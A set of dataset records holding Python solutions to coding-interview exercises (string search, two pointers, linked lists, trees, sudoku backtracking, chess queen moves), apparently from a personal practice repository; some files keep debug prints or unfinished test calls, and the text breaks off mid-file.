"11925c1c10373184a182413b0860073fa29cc596", "content_id": "1b50dc166bb7fc94ec230c7a85669a16bf630ea2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1156, "license_type": "no_license", "max_line_length": 156, "num_lines": 39, "path": "/Strings/strStr.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def strStr(self, A, B):\n n = len(B)\n m = len(A)\n if n == 0:\n return -1\n if m == 0:\n return -1\n length = 0\n last = -1\n index = 0\n i = 0\n start = -1\n while i < m:\n print (f\"{i}:{A[i]}::{index}:{B[index]}::{length}:{last}::{start}\")\n if A[i] == B[index]:\n if length == 0:\n start = i\n if length > 0 and last == -1 and A[i] == B[0]:\n last = i\n i += 1\n index += 1\n length += 1\n if index == n:\n return start\n else:\n if A[i] == B[0] and last == -1:\n i = i\n else:\n i = last if last != -1 else i + 1\n index = 0\n length = 0\n last = -1\n return -1\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.strStr(\"babbaaabaaaabbababaaabaabbbbabaaaabbabbabaaaababbabbbaaabbbaaabbbaabaabaaaaababbaaaaaabababbbbba\", \"bababbbbbbabbbaabbaaabbbaababa\"))\n" }, { "alpha_fraction": 0.30656304955482483, "alphanum_fraction": 0.3834196925163269, "avg_line_length": 32.11428451538086, "blob_id": "2508dc296d3deb4ceb74c332daafc3f12acfa93f", "content_id": "fe781df8c309da731cd8c9a6e2b07fbcd88a7061", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1158, "license_type": "no_license", "max_line_length": 94, "num_lines": 35, "path": "/Two Pointers/array3pointers.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def threePointers(self, A, B, C):\n p1 = 0\n p2 = 0\n p3 = 0\n min_value = 9223372036854775807\n while p1 <=len(A)-1 and p2 <= len(B)-1 and p3 <= len(C)-1:\n value1 = abs(A[p1] - B[p2])\n value2 = abs(B[p2] - C[p3])\n value3 = abs(C[p3] - A[p1])\n max_value = max(value1, value2, value3)\n min_value = min(min_value, max_value)\n print(f\"{value1}::{value2}::{value3}::{max_value}::{min_value}::{p1}::{p2}::{p3}\")\n if value1 == max_value:\n if A[p1] <= B[p2]:\n p1 += 1\n elif A[p1] > B[p2]:\n p2 += 1\n elif value2 == max_value:\n if B[p2] <= C[p3]:\n p2 += 1\n elif B[p2] > C[p3]:\n p3 += 1\n elif value3 == max_value:\n if C[p3] <= A[p1]:\n p3 += 1\n elif C[p3] > A[p1]:\n p1 += 1\n return min_value\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.threePointers([1, 4, 10], [2, 15, 20], [10, 12]))" }, { "alpha_fraction": 0.4899665415287018, "alphanum_fraction": 0.5183946490287781, "avg_line_length": 30.526315689086914, "blob_id": "72963f3fff8cb54867e390983d84502be2a2f8e9", "content_id": "367eab11eb13bde6a44f3a9d9de030ce021247b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 598, "license_type": "no_license", "max_line_length": 63, "num_lines": 19, "path": "/Trees/symmetricBT.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def symmetricBT(self, A):\n return self.check_symmetry(A.left, A.right)\n\n def check_symmetry(self, root1, root2):\n if root1 == None and root2 == None:\n return 1\n elif root1 == None or root2 == None:\n return 0\n # elif A.left.val != A.right.val:\n # return 0\n else:\n if root1.val != root2.val:\n return 0\n val = self.check_symmetry(root1.left, root2.right)\n if val == 0:\n return val\n return self.check_symmetry(root1.right, root2.left)" }, { "alpha_fraction": 0.3444976210594177, "alphanum_fraction": 0.3721424639225006, "avg_line_length": 25.885713577270508, "blob_id": "508d39ef684f4064cbadfb077283f2bb5a05655f", "content_id": "41b32c26245e0ed5b687ed34d778d2e1d495d147", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1881, "license_type": "no_license", "max_line_length": 60, "num_lines": 70, "path": "/heaps and maps/merge_k_sort_arrays.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class ListNode():\n def __init__(self, value):\n self.val = value\n self.next = None\n\nclass Solution():\n\n def mergeKLists(self, A):\n\n def merge2lists(l1, l2):\n dummy = ListNode(0)\n current = dummy\n while l1 or l2:\n if not l1:\n current.next = l2\n l2 = l2.next\n elif not l2:\n current.next = l1\n l1 = l1.next\n elif l1.val < l2.val:\n current.next = l1\n l1 = l1.next\n else:\n current.next = l2\n l2 = l2.next\n current = current.next\n return dummy.next\n\n if not A:\n return None\n left = 0\n right = len(A) - 1\n while right > 0:\n if left >= right:\n left = 0\n A[left] = merge2lists(A[left], A[right])\n left += 1\n right -= 1\n return A[0]\n\n\n # def mergeKLists(self):\n # def mergeTwoLists(l1, l2):\n # curr = dummy = ListNode(0)\n # while l1 and l2:\n # if l1.val < l2.val:\n # curr.next = l1\n # l1 = l1.next\n # else:\n # curr.next = l2\n # l2 = l2.next\n # curr = curr.next\n # curr.next = l1 or l2\n # return dummy.next\n #\n # if not A:\n # return None\n # left, right = 0, len(A) - 1;\n # while right > 0:\n # if left >= right:\n # left = 0\n # else:\n # A[left] = mergeTwoLists(A[left], A[right])\n # left += 1\n # right -= 1\n # return A[0]\n\nif __name__ == \"__main__\":\n sol = Solution\n print (sol.merge())" }, { "alpha_fraction": 0.31012657284736633, "alphanum_fraction": 0.3264014422893524, "avg_line_length": 30.16901397705078, "blob_id": "6d039c5614811b27ba384e719637d593f072275f", "content_id": "3a590b1fa7ea20dd9f687226ba1ab1190e298ee9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2212, "license_type": "no_license", "max_line_length": 84, "num_lines": 71, "path": "/hashing/fraction.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def fractions(self, A, B):\n neg = '-' if (A < 0 and B > 0) or (A > 0 and B < 0) else ''\n A = abs(A)\n B = abs(B)\n num = int(A / B)\n num = str(num)\n rem = A % B\n index = 0\n frac = ''\n if A == 0:\n return \"0\"\n while rem != 0 and index < 1000:\n rem = rem * 10\n val = rem // B\n frac += str(val)\n rem = rem % B\n index += 1\n # print (frac)\n # print (num)\n n = len(frac)\n hash_map = {}\n val = ''\n start = 0\n last = n\n for i in range(n):\n number = frac[i]\n # print (number)\n if number not in hash_map:\n hash_map[number] = i\n else:\n pos = i - hash_map[number]\n val1 = frac[i:i+pos]\n val2 = frac[hash_map[number]:hash_map[number]+pos]\n print (\"axa\")\n print (pos)\n print (val1)\n print(val2)\n print (pos)\n print (i)\n if val1 == val2:\n val = val1\n start = hash_map[number]\n last = i + pos\n mode = 1\n while last + pos < n:\n new_val = frac[last:last+pos]\n # print (\"inside\")\n # print (new_val)\n if new_val == val1:\n last = last + pos\n continue\n else:\n val = ''\n last = last + pos\n mode = 0\n # break\n if mode == 1:\n last = n\n break\n # break\n if val != '':\n output = str(num) + '.' + frac[0:start] + \"(\" + val + \")\" + frac[last:n]\n else:\n output = str(num) + '.' + frac[:32] if frac != '' else str(num)\n return neg + output\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.fractions(353, 905))" }, { "alpha_fraction": 0.2548764646053314, "alphanum_fraction": 0.35890766978263855, "avg_line_length": 31.08333396911621, "blob_id": "fcc8f495a46b6c84fcf1170a103f7447126ba08d", "content_id": "416513336e1430a5ddc1762b8d23ed5a7c206556", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 769, "license_type": "no_license", "max_line_length": 249, "num_lines": 24, "path": "/Two Pointers/removeDuplicate.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def remove_duplicate(self, A):\n n = len(A)\n start = 1\n length = 1\n last = 1\n while start < n:\n if A[start] == A[start-1]:\n # A.pop(start)\n # n -= 1\n start += 1\n else:\n A[last] = A[start]\n start += 1\n length += 1\n last += 1\n A = A[:length]\n print (A)\n return length\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.remove_duplicate([ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3 ]))" }, { "alpha_fraction": 0.43209877610206604, "alphanum_fraction": 0.4485596716403961, "avg_line_length": 23.399999618530273, "blob_id": "6bf1529359e2db2807806bedcb548291cf68acc1", "content_id": "170d35032220d64dbfd1960165b4cc67a61e1b8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 243, "license_type": "no_license", "max_line_length": 33, "num_lines": 10, "path": "/math/palindromeInteger.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @return an integer\n def isPalindrome(self, A):\n A = str(A)\n n = len(A)\n for i in range(int(n/2)):\n if A[i] != A[n-1-i]:\n return 0\n return 1" }, { "alpha_fraction": 0.5460199117660522, "alphanum_fraction": 0.5671641826629639, "avg_line_length": 23.303030014038086, "blob_id": "18e65458476eb0c3c961cde829bd4f5eff1fc430", "content_id": "64d2c70507d995b1d75f63321ad6f99a6e764b2c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 804, "license_type": "no_license", "max_line_length": 55, "num_lines": 33, "path": "/guessing_game_challenge.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import random\n\nrandom_number = random.randint(0,100)\n\nprint (random_number)\nprint (\"Guess a number between 0 to 100 both included\")\nprint (\"Take as many guesses as you want\")\n\nguess = []\ndifference = []\nwhile (True):\n number = int(input(\"Enter a number: \"))\n if number < 1 or number > 100:\n print (\"OUT Of Bounds\")\n continue\n diff = abs(number-random_number)\n if diff == 0:\n print (f'yipee {number} is the number')\n break\n if len(guess) == 0:\n if diff <= 10:\n print (\"WARM!\")\n else:\n print (\"COLD!\")\n guess.append(number)\n difference.append(diff)\n continue\n if diff < difference[-1]:\n print (\"WARMER!\")\n else:\n print (\"COLDER!\")\n guess.append(number)\n difference.append(diff)\n\n\n" }, { "alpha_fraction": 0.5813062191009521, "alphanum_fraction": 0.5954681634902954, "avg_line_length": 37.222930908203125, "blob_id": "83190a028558280bdb5e66517deed6c51e3486ec", "content_id": "af544428d4e7a4cdf1af36da11d72439f89ff3ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6002, "license_type": "no_license", "max_line_length": 90, "num_lines": 157, "path": "/queen_attack_2/queen.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "#!/bin/python3\n\nimport sys\n\ndef chess_move_horizontal(rQ, cQ, n, chess_board, move):\n if cQ + move == n or cQ + move < 0:\n return 0\n elif chess_board[rQ][cQ + move] == 1:\n return 0\n else:\n return 1 + chess_move_horizontal(rQ, cQ + move, n, chess_board, move)\n\ndef chess_move_vertical(rQ, cQ, n, chess_board, move):\n if rQ + move == n or rQ + move < 0:\n return 0\n elif chess_board[rQ + move][cQ] == 1:\n return 0\n else:\n return 1 + chess_move_vertical(rQ + move, cQ, n, chess_board, move)\n\ndef chess_move_across(rQ, cQ, n, chess_board, rMove, cMove):\n if rQ + rMove == n or rQ + rMove < 0 or cQ + cMove == n or cQ + cMove < 0:\n return 0\n elif chess_board[rQ + rMove][cQ + cMove] == 1:\n return 0\n else:\n return 1 + chess_move_across(rQ + rMove, cQ + cMove, n, chess_board, rMove, cMove)\n\nn,k = input().strip().split(' ')\nn,k = [int(n),int(k)]\nrQueen,cQueen = input().strip().split(' ')\nrQueen,cQueen = [int(rQueen),int(cQueen)]\n# print (rQueen, end=\" \")\n# print (cQueen)\n# chess_board = [[0 for j in range(n)] for i in range(n)]\nchess_board = {}\n\nfor a0 in range(k):\n rObstacle,cObstacle = input().strip().split(' ')\n rObstacle,cObstacle = [int(rObstacle),int(cObstacle)]\n # your code goes here\n # chess_board[rObstacle - 1][cObstacle - 1] = 1\n if rObstacle == rQueen and cObstacle < cQueen:\n if 'horizontal_left' in chess_board:\n if chess_board['horizontal_left'][1] < cObstacle:\n chess_board['horizontal_left'] = (rObstacle, cObstacle)\n else:\n chess_board['horizontal_left'] = (rObstacle, cObstacle)\n elif rObstacle == rQueen and cObstacle > cQueen:\n if 'horizontal_right' in chess_board:\n if chess_board['horizontal_right'][1] > cObstacle:\n chess_board['horizontal_right'] = (rObstacle, cObstacle)\n else:\n chess_board['horizontal_right'] = (rObstacle, cObstacle)\n elif cObstacle == cQueen and rObstacle < rQueen:\n if 'vertical_down' in chess_board:\n if chess_board['vertical_down'][0] < rObstacle:\n chess_board['vertical_down'] = (rObstacle, cObstacle)\n else:\n chess_board['vertical_down'] = (rObstacle, cObstacle)\n elif cObstacle == cQueen and rObstacle > rQueen:\n if 'vertical_up' in chess_board:\n if chess_board['vertical_up'][0] > rObstacle:\n chess_board['vertical_up'] = (rObstacle, cObstacle)\n else:\n chess_board['vertical_up'] = (rObstacle, cObstacle)\n elif rObstacle - rQueen == cObstacle - cQueen and rObstacle - rQueen > 0:\n if 'across_I' in chess_board:\n if chess_board['across_I'][0] > rObstacle:\n chess_board['across_I'] = (rObstacle, cObstacle)\n else:\n chess_board['across_I'] = (rObstacle, cObstacle)\n elif rQueen - rObstacle == cQueen - cObstacle and rQueen - rObstacle > 0:\n if 'across_III' in chess_board:\n if chess_board['across_III'][0] < rObstacle:\n chess_board['across_III'] = (rObstacle, cObstacle)\n else:\n chess_board['across_III'] = (rObstacle, cObstacle)\n elif rQueen - rObstacle == cObstacle - cQueen and rQueen - rObstacle > 0:\n if 'across_II' in chess_board:\n if chess_board['across_II'][0] < rObstacle:\n chess_board['across_II'] = (rObstacle, cObstacle)\n else:\n chess_board['across_II'] = (rObstacle, cObstacle)\n elif rObstacle - rQueen == cQueen - cObstacle and rObstacle - rQueen > 0:\n if 'across_IV' in chess_board:\n if chess_board['across_IV'][0] > rObstacle:\n chess_board['across_IV'] = (rObstacle, cObstacle)\n else:\n chess_board['across_IV'] = (rObstacle, cObstacle)\n \n# print (chess_board)\ncount = 0\n\nif 'horizontal_left' in chess_board:\n count = count + (cQueen - chess_board['horizontal_left'][1] - 1)\nelse:\n count = count + (cQueen - 1)\n# print (count)\n\nif 'horizontal_right' in chess_board:\n count = count + (chess_board['horizontal_right'][1] - cQueen - 1)\nelse:\n count = count + (n - cQueen)\n# print (count)\n\nif 'vertical_down' in chess_board:\n count = count + (rQueen - chess_board['vertical_down'][0] - 1)\nelse:\n count = count + (rQueen - 1)\n# print (count)\n\nif 'vertical_up' in chess_board:\n count = count + (chess_board['vertical_up'][0] - rQueen - 1)\nelse:\n count = count + (n - rQueen)\n# print (count)\n\nif 'across_I' in chess_board:\n # print (chess_board['across_I'])\n count = count + (chess_board['across_I'][0] - rQueen - 1)\nelse:\n count = count + min(n - rQueen, n - cQueen)\n# print (count)\n\nif 'across_III' in chess_board:\n # print(chess_board['across_III'])\n count = count + (rQueen - chess_board['across_III'][0] - 1)\nelse:\n count = count + min(rQueen - 1 , cQueen - 1)\n# print (count)\n\nif 'across_II' in chess_board:\n # print(chess_board['across_II'])\n count = count + (rQueen - chess_board['across_II'][0] - 1)\nelse:\n count = count + min(rQueen - 1 , n - cQueen)\n# print (count)\n\nif 'across_IV' in chess_board:\n # print(chess_board['across_IV'])\n count = count + (chess_board['across_IV'][0] - rQueen - 1)\nelse:\n count = count + min(n - rQueen , cQueen - 1)\n \nprint (count)\n# count = count + chess_move_horizontal(rQueen - 1, cQueen - 1, n, chess_board, 1)\n# count = count + chess_move_horizontal(rQueen - 1, cQueen - 1, n, chess_board, -1)\n\n# count = count + chess_move_vertical(rQueen - 1, cQueen - 1, n, chess_board, 1)\n# count = count + chess_move_vertical(rQueen - 1, cQueen - 1, n, chess_board, -1)\n\n# count = count + chess_move_across(rQueen - 1, cQueen - 1, n, chess_board, 1, 1)\n# count = count + chess_move_across(rQueen - 1, cQueen - 1, n, chess_board, -1, -1)\n\n# count = count + chess_move_across(rQueen - 1, cQueen - 1, n, chess_board, 1, -1)\n# count = count + chess_move_across(rQueen - 1, cQueen - 1, n, chess_board, -1, 1)\n\n" }, { "alpha_fraction": 0.36017897725105286, "alphanum_fraction": 0.3847874701023102, "avg_line_length": 23.189189910888672, "blob_id": "10ea2c3158cf0c8b0886ed1be6308364760a464d", "content_id": "a74906e5dcecfe6544956dd436c1bc113dc118ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 894, "license_type": "no_license", "max_line_length": 51, "num_lines": 37, "path": "/Strings/romanToInteger.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def romanToInteger(self, A):\n n = len(A)\n total = 0\n i = 0\n while i < n:\n value = self.get_value(A[i])\n if i < n-1:\n next_value = self.get_value(A[i+1])\n if next_value > value:\n total += next_value - value\n i += 2\n continue\n total += value\n i += 1\n return total\n\n def get_value(self, sym):\n if sym == 'I':\n return 1\n elif sym == 'V':\n return 5\n elif sym == 'X':\n return 10\n elif sym == 'L':\n return 50\n elif sym == 'C':\n return 100\n elif sym == 'D':\n return 500\n elif sym == 'M':\n return 1000\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.romanToInteger(\"\"))" }, { "alpha_fraction": 0.5266106724739075, "alphanum_fraction": 0.5308123230934143, "avg_line_length": 23.620689392089844, "blob_id": "037e755fbbcd8a9404a1674e82ed05d46d16eb59", "content_id": "e14c4f6ed7ed55420273e3aa24caee904ec1d268", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 714, "license_type": "no_license", "max_line_length": 54, "num_lines": 29, "path": "/String Theory/largest_no_of_words.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\n\ndef solution(S):\n # write your code in Python 2.7\n print(S)\n arr = S.strip().split('.')\n arr_new = []\n for i in range(len(arr)):\n arr_new.extend(arr[i].strip().split('?'))\n arr = []\n for i in range(len(arr_new)):\n arr.extend(arr_new[i].strip().split('!'))\n\n print(arr)\n max = 0\n for i in range(len(arr)):\n print (arr[i])\n count_words = len(arr[i].strip().split())\n print (count_words)\n if count_words > max:\n max = count_words\n\n return max\n\n\nif __name__ == \"__main__\":\n S = \"Forget CVs..Save time . x x\"\n print (solution(S))\n" }, { "alpha_fraction": 0.4935871660709381, "alphanum_fraction": 0.5222445130348206, "avg_line_length": 34.8992805480957, "blob_id": "7f27b13f6435a3eb14b91b8a427b94508760ad2f", "content_id": "99203a0a8625818c89ea886e51b4062c9dec45dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4990, "license_type": "no_license", "max_line_length": 135, "num_lines": 139, "path": "/backtracking/sudoku.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n # A Backtracking program in Python to solve Sudoku problem\n\n # A Utility Function to print the Grid\n def print_grid(self, arr):\n # for i in range(9):\n # for j in range(9):\n # print (arr[i][j], end='')\n # print('')\n # arr = [[str(val) for val in row] for row in arr]\n # arr = [[''.join(row)]for row in arr]\n for row in range(len(arr)):\n arr[row] = [str(val) for val in arr[row]]\n arr[row] = ''.join(arr[row])\n # print (arr)\n return\n\n # Function to Find the entry in the Grid that is still not used\n # Searches the grid to find an entry that is still unassigned. If\n # found, the reference parameters row, col will be set the location\n # that is unassigned, and true is returned. If no unassigned entries\n # remain, false is returned.\n # 'l' is a list variable that has been passed from the solve_sudoku function\n # to keep track of incrementation of Rows and Columns\n def find_empty_location(self, arr, l):\n for row in range(9):\n for col in range(9):\n if (arr[row][col] == 0):\n l[0] = row\n l[1] = col\n return True\n return False\n\n # Returns a boolean which indicates whether any assigned entry\n # in the specified row matches the given number.\n def used_in_row(self, arr, row, num):\n for i in range(9):\n if (arr[row][i] == num):\n return True\n return False\n\n # Returns a boolean which indicates whether any assigned entry\n # in the specified column matches the given number.\n def used_in_col(self, arr, col, num):\n for i in range(9):\n if (arr[i][col] == num):\n return True\n return False\n\n # Returns a boolean which indicates whether any assigned entry\n # within the specified 3x3 box matches the given number\n def used_in_box(self, arr, row, col, num):\n for i in range(3):\n for j in range(3):\n if (arr[i + row][j + col] == num):\n return True\n return False\n\n # Checks whether it will be legal to assign num to the given row,col\n # Returns a boolean which indicates whether it will be legal to assign\n # num to the given row,col location.\n def check_location_is_safe(self, arr, row, col, num):\n\n # Check if 'num' is not already placed in current row,\n # current column and current 3x3 box\n return not self.used_in_row(arr, row, num) and not self.used_in_col(arr, col, num) and not self.used_in_box(arr, row - row % 3,\n col - col % 3, num)\n\n # Takes a partially filled-in grid and attempts to assign values to\n # all unassigned locations in such a way to meet the requirements\n # for Sudoku solution (non-duplication across rows, columns, and boxes)\n def solve_sudoku(self, arr):\n\n # 'l' is a list variable that keeps the record of row and col in find_empty_location Function\n l = [0, 0]\n\n # If there is no unassigned location, we are done\n if (not self.find_empty_location(arr, l)):\n return True\n\n # Assigning list values to row and col that we got from the above Function\n row = l[0]\n col = l[1]\n\n # consider digits 1 to 9\n for num in range(1, 10):\n\n # if looks promising\n if (self.check_location_is_safe(arr, row, col, num)):\n\n # make tentative assignment\n arr[row][col] = num\n\n # return, if sucess, ya!\n if (self.solve_sudoku(arr)):\n return True\n\n # failure, unmake & try again\n arr[row][col] = 0\n\n # this triggers backtracking\n return False\n\n def sudoku(self, A):\n n = len(A)\n for row in range(n):\n A[row] = [val for val in A[row]]\n for col in range(n):\n if A[row][col] != '.':\n A[row][col] = int(A[row][col])\n else:\n A[row][col] = 0\n # print (A)\n self.solve_sudoku(A)\n self.print_grid(A)\n return\n\nif __name__==\"__main__\":\n\n # creating a 2D array for the grid\n # grid=[[0 for x in range(9)]for y in range(9)]\n\n # assigning values to the grid\n # grid=[[3,0,6,5,0,8,4,0,0],\n # [5,2,0,0,0,0,0,0,0],\n # [0,8,7,0,0,0,0,3,1],\n # [0,0,3,0,1,0,0,8,0],\n # [9,0,0,8,6,3,0,0,5],\n # [0,5,0,0,9,0,6,0,0],\n # [1,3,0,0,0,0,2,5,0],\n # [0,0,0,0,0,0,0,7,4],\n # [0,0,5,2,0,6,3,0,0]]\n\n grid = [ \"53..7....\", \"6..195...\", \".98....6.\", \"8...6...3\", \"4..8.3..1\", \"7...2...6\", \".6....28.\", \"...419..5\", \"....8..79\" ]\n\n sol = Solution()\n # if sucess print the grid\n sol.sudoku(grid)\n print (grid)\n" }, { "alpha_fraction": 0.4801587164402008, "alphanum_fraction": 0.4841269850730896, "avg_line_length": 31.30769157409668, "blob_id": "fb081a0bfb75ec7e154297372dc939d5b58c6b5b", "content_id": "919eb4939abb3cc77b7dbdfc1f542db51905daeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1260, "license_type": "no_license", "max_line_length": 60, "num_lines": 39, "path": "/hashing/copyList.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class RandomListNode:\n def __init__(self, x):\n self.label = x\n self.next = None\n self.random = None\n\nclass Solution():\n\n def copyList(self, head):\n hash_map = {}\n if head == None:\n return None\n head1 = RandomListNode(head.label)\n hash_map[head] = head1\n Acopy = head1\n if head.random != None:\n if head.random not in hash_map:\n temp = RandomListNode(head.random.label)\n hash_map[head.random] = temp\n else:\n temp = hash_map[head.random]\n head1.random = temp\n while head.next != None:\n if head.next not in hash_map:\n temp = RandomListNode(head.next.label)\n hash_map[head.next] = temp\n else:\n temp = hash_map[head.next]\n Acopy.next = temp\n Acopy = Acopy.next\n head = head.next\n if head.random != None:\n if head.random not in hash_map:\n temp = RandomListNode(head.random.label)\n hash_map[head.random] = temp\n else:\n temp = hash_map[head.random]\n Acopy.random = temp\n return head1\n" }, { "alpha_fraction": 0.5017605423927307, "alphanum_fraction": 0.5044013857841492, "avg_line_length": 24.840909957885742, "blob_id": "fe2b167252de9fa09e34656c38864866e3e9cabb", "content_id": "a8d0078aa48fbfc11811004863694b2e61e4717e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1136, "license_type": "no_license", "max_line_length": 51, "num_lines": 44, "path": "/Linked LIst/palindromeList.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n # @return an integer\n def lPalin(self, A):\n middle = self.get_middle_element(A)\n head_second = self.get_reverse_list(middle)\n\n output = 1\n ## compare the list\n while A != None and head_second != None:\n if A.val != head_second.val:\n return 0\n A = A.next\n head_second = head_second.next\n return 1\n\n def get_middle_element(self, head):\n if head == None:\n return head\n fhd = head.next\n while fhd != None:\n head = head.next\n fhd = fhd.next\n fhd = fhd.next if fhd != None else fhd\n return head\n\n def get_reverse_list(self, head):\n last = None\n while head != None:\n temp = head.next\n head.next = last\n last = head\n head = temp\n return last\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.lPalin())" }, { "alpha_fraction": 0.45895522832870483, "alphanum_fraction": 0.46194028854370117, "avg_line_length": 24.788461685180664, "blob_id": "d149de261f835b4cfff7c7138a0cbefc8d48d263", "content_id": "372e9aa1536e4c3f6f192a3f4eea7ad5b1fb4737", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1340, "license_type": "no_license", "max_line_length": 51, "num_lines": 52, "path": "/Linked LIst/reorderList.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n # @return an integer\n def reorderList(self, A):\n middle = self.get_middle_element(A)\n head_second = self.get_reverse_list(middle)\n\n if middle == A:\n return A\n\n head = A\n new_head = head\n A = A.next\n mode = 1\n while A != None or head_second != None:\n if A == head_second:\n head.next = A\n break\n if mode == 1:\n head.next = head_second\n head_second = head_second.next\n mode = 0\n else:\n head.next = A\n A = A.next\n mode = 1\n return new_head\n\n def get_middle_element(self, head):\n if head == None:\n return head\n fhd = head.next\n while fhd != None:\n head = head.next\n fhd = fhd.next\n fhd = fhd.next if fhd != None else fhd\n return head\n\n def get_reverse_list(self, head):\n last = None\n while head != None:\n temp = head.next\n head.next = last\n last = head\n head = temp\n return last" }, { "alpha_fraction": 0.36119404435157776, "alphanum_fraction": 0.39179104566574097, "avg_line_length": 36.25, "blob_id": "d33f8bbf970b92011a148938b7d3fd363890385e", "content_id": "5fa1262aefa85a971e6bd444d43571947c4531f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1340, "license_type": "no_license", "max_line_length": 75, "num_lines": 36, "path": "/Two Pointers/3sum.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def threeSum(self, A, B):\n A.sort()\n n = len(A)\n min_value = 9223372036854775807\n real_value = 0\n for i in range(n):\n start = 0 if i != 0 else 1\n end = n - 1 if i != n-1 else n-2\n value = B - A[i]\n while end > start:\n new_value = A[start] + A[end]\n # print (f\"{start}::# end}::{i}::{min_value}\")\n score = new_value - value\n if new_value > value:\n if abs(score) < min_value:\n real_value = score + B\n min_value = abs(score)\n # min_value = min(abs(new_value + A[i] - B), min_value)\n end -= 1\n elif new_value < value:\n if abs(score) < min_value:\n real_value = score + B\n min_value = abs(score)\n # min_value = min(new_value + A[i] - B, min_value)\n start += 1\n else:\n return B\n start = start + 1 if start == i else start\n end = end - 1 if end == i else end\n return real_value\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.threeSum([ 2, 1, -9, -7, -8, 2, -8, 2, 3, -8 ], -1))" }, { "alpha_fraction": 0.35787320137023926, "alphanum_fraction": 0.3885480463504791, "avg_line_length": 23.5, "blob_id": "e7f08a7aff428d5a4140f38a32341cf5ef203080", "content_id": "9b0773f38ccbf65feca8dcd08920869db961462a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 489, "license_type": "no_license", "max_line_length": 38, "num_lines": 20, "path": "/math/excelColumnTitle.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @return a strings\n def convertToTitle(self, A):\n value = ''\n A = A\n while A > 0:\n mod = A%26\n if mod == 0:\n value += 'Z'\n A = int(A/26) - 1\n else:\n value += chr(mod + 64)\n A = int(A/26)\n # print (A)\n return value[::-1]\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.convertToTitle(676))" }, { "alpha_fraction": 0.42291373014450073, "alphanum_fraction": 0.4384724199771881, "avg_line_length": 29.782608032226562, "blob_id": "ffce055fbabe04f14543384c215f2d6d697a07c9", "content_id": "bdbea58b15c89d35f3b75a0ed3955d25f0914995", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 707, "license_type": "no_license", "max_line_length": 59, "num_lines": 23, "path": "/arrays/maximumGap.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def maximumGap(self, A):\n max_diff = -1\n Lmin = [A[i] for i in range(len(A))]\n for i in range(1, len(A)):\n Lmin[i] = min(A[i], Lmin[i - 1])\n Rmax = [A[i] for i in range(len(A))]\n for i in range(len(A) - 2, -1, -1):\n Rmax[i] = max(A[i], 